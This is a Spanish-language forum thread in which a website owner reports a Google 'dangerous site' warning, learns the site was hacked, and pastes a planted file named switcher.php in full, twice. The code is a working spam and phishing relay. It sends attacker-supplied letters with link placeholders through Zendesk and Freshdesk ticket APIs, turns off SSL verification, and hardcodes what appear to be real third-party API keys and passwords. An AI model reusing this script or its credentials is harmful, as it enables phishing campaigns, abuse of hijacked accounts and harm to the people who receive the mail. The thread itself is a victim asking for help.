Ayuda con sitio peligroso, mi sitio no es peligroso :(

  • Autor Autor pa3lo022
  • Fecha de inicio Fecha de inicio
P

pa3lo022

Gamma
Verificado por Whatsapp
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Hola a todos, hoy recibi un mail de google search console de que tenia una pagina de mi sitio que podia ser peligrosa, cuando intento ingresar a mi sitio directamente el sitio me aparece con un cartel rojo 🙁 adjunto el screenshot.
Mi sitio esta hecho en laravel 5.8 pero nunca tuve este problema y no se como puedo corregirlo.
Alguien me prodria ayudar por favor

Muchas gracias saludos
 

Adjuntos

  • Screen Shot 2020-09-27 at 10.23.24.webp
    26,8 KB · Visitas: 32
Usas algún tipo de publicidad en el sitio?
 
Usas algún tipo de publicidad en el sitio?
Si la de google adsense, igualmente como el sitio era nuevo nunca aparecieron las publicidades y solo la tengo en el blog, en la pagina principal no tengo publicidad
 
y ahora estoy viendo que me llego un mail de (cron Deamon) y me muestra el html de mi sitio... me abran hackeado el sitio?
 
Posiblemente con el sql injection busca archivos vacios, como main.php con 0 bytes.
 
Igual me paso hace 3 días, en un sitio warez, pedí revisión pero nada de que me quitan ese cartel rojo
 
Me sale que muestra anuncios invasivos y engañosos, debes tener algun tipo de publicidad escondida.
 
y ahora estoy viendo que me llego un mail de (cron Deamon) y me muestra el html de mi sitio... me abran hackeado el sitio?
Revisa el código html, o pásalo por MP
 
Amigo hiciste algun cambio de ip? O mudaste el hosting? Tienes ssl actualizado?
 
Me sale que muestra anuncios invasivos y engañosos, debes tener algun tipo de publicidad escondida.
solamente tengo la publicidad de adsense y es mas nunca se mostro porque el sitio era nuevo
 
Revisa hermano cada unas de tu url aver cual ellas esta mal en el sitio.
 
Hola me toco ver una vez algo similar y el problema era que en un post se mencionaba el link de una empresa de cpa (adtual) que creo esta o estaba baneada de google y eso provocaba el sitio en rojo
 
Hola me toco ver una vez algo similar y el problema era que en un post se mencionaba el link de una empresa de cpa (adtual) que creo esta o estaba baneada de google y eso provocaba el sitio en rojo
Asi es importante revisar todos los enlaces de tu sitio.
 
En realidad mi sitio no tiene enlaces a ningun otro sitio.

Igual ahi me lo dieron de alta, me sacaron el banner, lo que hice fue subir de nuevo el sitio y sacar la publicidad de adsense (raro porque es de ellos la publicidad)
Lo que si me resulta muyyyyy raro es que en 2 dias el sitio tuvo casi 10GB de transferencia y eso no se porque fue, asique sigo investigando
 

Claramente el sitio está hackeado, posiblemente está redireccionando a otras webs maliciosas.
 
Claramente el sitio está hackeado, posiblemente está redireccionando a otras webs maliciosas.
Sip me lo hackearon, lo que hice fue borrar todo y subirlo de nuevo y cambie la contraseña de cpanel y FTP y habia un archivo raro "file" se llamaba en la carpeta publica, obvio que lo borre, pero no se que mas hacer
 
miren lo que encontre entre las carpetas de los usuarios 😡
Les cuento, cuando un usuario se registra se crea una carpeta, donde se van a poner las imagenes que este suba, bueno encontre esto dentro de la carpeta de un usuario.

switcher.php
Insertar CODE, HTML o PHP:
<?php



$config = [

    "zen" => [

"domain" => "infotron",

        "key" => "bilgilendirme@infotron.com.tr",

        "secret" => "XFSbQczfm7OEv3elbCm43mQtD1LzogVjhHAhTj1c",

        "author" => "360000272999",

    ],

    "fresh" => [

        "domain" => "valleytigers",

        "key" => "AjBr6bU1FoqKcMO3s6",

        "secret" => 'cinders66',

        "config" => 80000000291,

    ],

];



$boundary = md5(time());

$eol = "\r\n";

$data = json_decode(file_get_contents("php://input"),true);



// Generated by curl-to-PHP: http://incarnate.github.io/curl-to-php/

if(!is_email($data["email"])){

    echo("Incorrect Email");

    exit();

}



$data["title"] = preg_replace("/([^@]*).*/", "$1", $data['email']);



$resp = [];



$data["content"] = formats($data['letter'],$data);



$api = $config[$data["router"]];



switch ($data["router"]) {

    case "zen":

        $resp = request("https://{$api['domain']}.zendesk.com/api/v2/tickets", json_encode([

            "ticket" => [

                "status" => "new",

                "problem_id" => "",

                "group_id" => "",

                "assignee_id" => "",

                "priority"=>"normal",

                "tags" => [],

                "via" => [

                    "channel" => "Web form"

                ],

                "followers" => [],

                "email_ccs" => [],

                "submitter_id" => 416158848274,

                "requester" => [

                    "name" => $data["title"],

                    "email" => $data["email"],

                ],

                "custom_fields" => [],

                "comment" => [

                    "html_body" => $data["content"],

                    "public" => true,

                    "author_id" => $api["author"],

                    "uploads" => []

                ],

                "subject" => $data["subject"]

            ]

        ]), [

            "Content-Type: application/json; charset=UTF-8",

        ], "{$api['key']}/token:{$api['secret']}");

        break;

    case "fresh":

        $message  = '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="email"' . $eol . $eol;

        $message .= $data["email"] . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="subject"' . $eol . $eol;

        $message .= $data["subject"] . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="priority"' . $eol . $eol;

        $message .= "2" . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="status"' . $eol . $eol;

        $message .= "2" . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="description"' . $eol . $eol;

        $message .= $data["content"] . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="email_config_id"' . $eol . $eol;

        $message .= $api["config"] . $eol;

        $message .= "--" . $boundary . "--" . $eol . $eol;



        $resp = request("https://{$api['domain']}.freshdesk.com/api/v2/tickets/outbound_email", $message,[

            "Content-Type: multipart/form-data; boundary=".$boundary,

        ], "{$api['key']}:{$api['secret']}");

        break;

}



echo json_encode(array_merge($data,$resp));



//##########################################################################################



function is_email($input) {

  $email_pattern = "/^([a-zA-Z0-9\-\_\.]{1,})+@+([a-zA-Z0-9\-\_\.]{1,})+\.+([a-z]{2,4})$/i";

  if(preg_match($email_pattern, $input)) return TRUE;

}



function formats($text,$data) {

    $listing = [

        "[-time-]" => date("m/d/Y h:i:s a", time()),

        "[-email-]" => $data['email'],

        "[-emailuser-]" => $data['title'],

        "[-link-]" => $data['link'],

        "[-letters-]" => randString("abcdefghijklmnopqrstuvwxyz", 8, 15),

        "[-string-]" => randString("abcdefghijklmnopqrstuvwxyz0123456789", 8, 15),

        "[-number-]" => randString("0123456789", 7, 15),

        "[-md5-]" => md5(rand()),

    ];



    foreach ($listing as $search => $value) {

        $text = str_replace($search, $value, $text);

    }



    return $text;

}



function request ($url,$body,$head,$auth) {

    $resp = [];



    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($ch, CURLOPT_POSTFIELDS,$body);

    curl_setopt($ch, CURLOPT_POST, 1);

    curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate");



    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);

    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);



    if ($auth!=":")

        curl_setopt($ch, CURLOPT_USERPWD, $auth);



    $result = curl_exec($ch);

    if (curl_errno($ch)) {

        $resp["error"] = curl_error($ch);

    }

    curl_close($ch);



    $resp["result"] = json_decode($result);



    return $resp;

}



function stringInsert($str,$insertstr,$pos) {

    $str = substr($str, 0, $pos) . $insertstr . substr($str, $pos);

    return $str;

}



function randString($consonants, $min_length, $max_length) {

    $length=rand($min_length, $max_length);

    $password = "";

    for ($i = 0; $i < $length; $i++) {

            $password .= $consonants[(rand() % strlen($consonants))];

    }

    return $password;

}

Insertar CODE, HTML o PHP:
<?php



$config = [

    "zen" => [

"domain" => "infotron",

        "key" => "bilgilendirme@infotron.com.tr",

        "secret" => "XFSbQczfm7OEv3elbCm43mQtD1LzogVjhHAhTj1c",

        "author" => "360000272999",

    ],

    "fresh" => [

        "domain" => "valleytigers",

        "key" => "AjBr6bU1FoqKcMO3s6",

        "secret" => 'cinders66',

        "config" => 80000000291,

    ],

];



$boundary = md5(time());

$eol = "\r\n";

$data = json_decode(file_get_contents("php://input"),true);



// Generated by curl-to-PHP: http://incarnate.github.io/curl-to-php/

if(!is_email($data["email"])){

    echo("Incorrect Email");

    exit();

}



$data["title"] = preg_replace("/([^@]*).*/", "$1", $data['email']);



$resp = [];



$data["content"] = formats($data['letter'],$data);



$api = $config[$data["router"]];



switch ($data["router"]) {

    case "zen":

        $resp = request("https://{$api['domain']}.zendesk.com/api/v2/tickets", json_encode([

            "ticket" => [

                "status" => "new",

                "problem_id" => "",

                "group_id" => "",

                "assignee_id" => "",

                "priority"=>"normal",

                "tags" => [],

                "via" => [

                    "channel" => "Web form"

                ],

                "followers" => [],

                "email_ccs" => [],

                "submitter_id" => 416158848274,

                "requester" => [

                    "name" => $data["title"],

                    "email" => $data["email"],

                ],

                "custom_fields" => [],

                "comment" => [

                    "html_body" => $data["content"],

                    "public" => true,

                    "author_id" => $api["author"],

                    "uploads" => []

                ],

                "subject" => $data["subject"]

            ]

        ]), [

            "Content-Type: application/json; charset=UTF-8",

        ], "{$api['key']}/token:{$api['secret']}");

        break;

    case "fresh":

        $message  = '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="email"' . $eol . $eol;

        $message .= $data["email"] . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="subject"' . $eol . $eol;

        $message .= $data["subject"] . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="priority"' . $eol . $eol;

        $message .= "2" . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="status"' . $eol . $eol;

        $message .= "2" . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="description"' . $eol . $eol;

        $message .= $data["content"] . $eol;

        $message .= '--' . $boundary . $eol;

        $message .= 'Content-Disposition: form-data; name="email_config_id"' . $eol . $eol;

        $message .= $api["config"] . $eol;

        $message .= "--" . $boundary . "--" . $eol . $eol;



        $resp = request("https://{$api['domain']}.freshdesk.com/api/v2/tickets/outbound_email", $message,[

            "Content-Type: multipart/form-data; boundary=".$boundary,

        ], "{$api['key']}:{$api['secret']}");

        break;

}



echo json_encode(array_merge($data,$resp));



//##########################################################################################



function is_email($input) {

  $email_pattern = "/^([a-zA-Z0-9\-\_\.]{1,})+@+([a-zA-Z0-9\-\_\.]{1,})+\.+([a-z]{2,4})$/i";

  if(preg_match($email_pattern, $input)) return TRUE;

}



function formats($text,$data) {

    $listing = [

        "[-time-]" => date("m/d/Y h:i:s a", time()),

        "[-email-]" => $data['email'],

        "[-emailuser-]" => $data['title'],

        "[-link-]" => $data['link'],

        "[-letters-]" => randString("abcdefghijklmnopqrstuvwxyz", 8, 15),

        "[-string-]" => randString("abcdefghijklmnopqrstuvwxyz0123456789", 8, 15),

        "[-number-]" => randString("0123456789", 7, 15),

        "[-md5-]" => md5(rand()),

    ];



    foreach ($listing as $search => $value) {

        $text = str_replace($search, $value, $text);

    }



    return $text;

}



function request ($url,$body,$head,$auth) {

    $resp = [];



    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($ch, CURLOPT_POSTFIELDS,$body);

    curl_setopt($ch, CURLOPT_POST, 1);

    curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate");



    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);

    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);



    if ($auth!=":")

        curl_setopt($ch, CURLOPT_USERPWD, $auth);



    $result = curl_exec($ch);

    if (curl_errno($ch)) {

        $resp["error"] = curl_error($ch);

    }

    curl_close($ch);



    $resp["result"] = json_decode($result);



    return $resp;

}



function stringInsert($str,$insertstr,$pos) {

    $str = substr($str, 0, $pos) . $insertstr . substr($str, $pos);

    return $str;

}



function randString($consonants, $min_length, $max_length) {

    $length=rand($min_length, $max_length);

    $password = "";

    for ($i = 0; $i < $length; $i++) {

            $password .= $consonants[(rand() % strlen($consonants))];

    }

    return $password;

}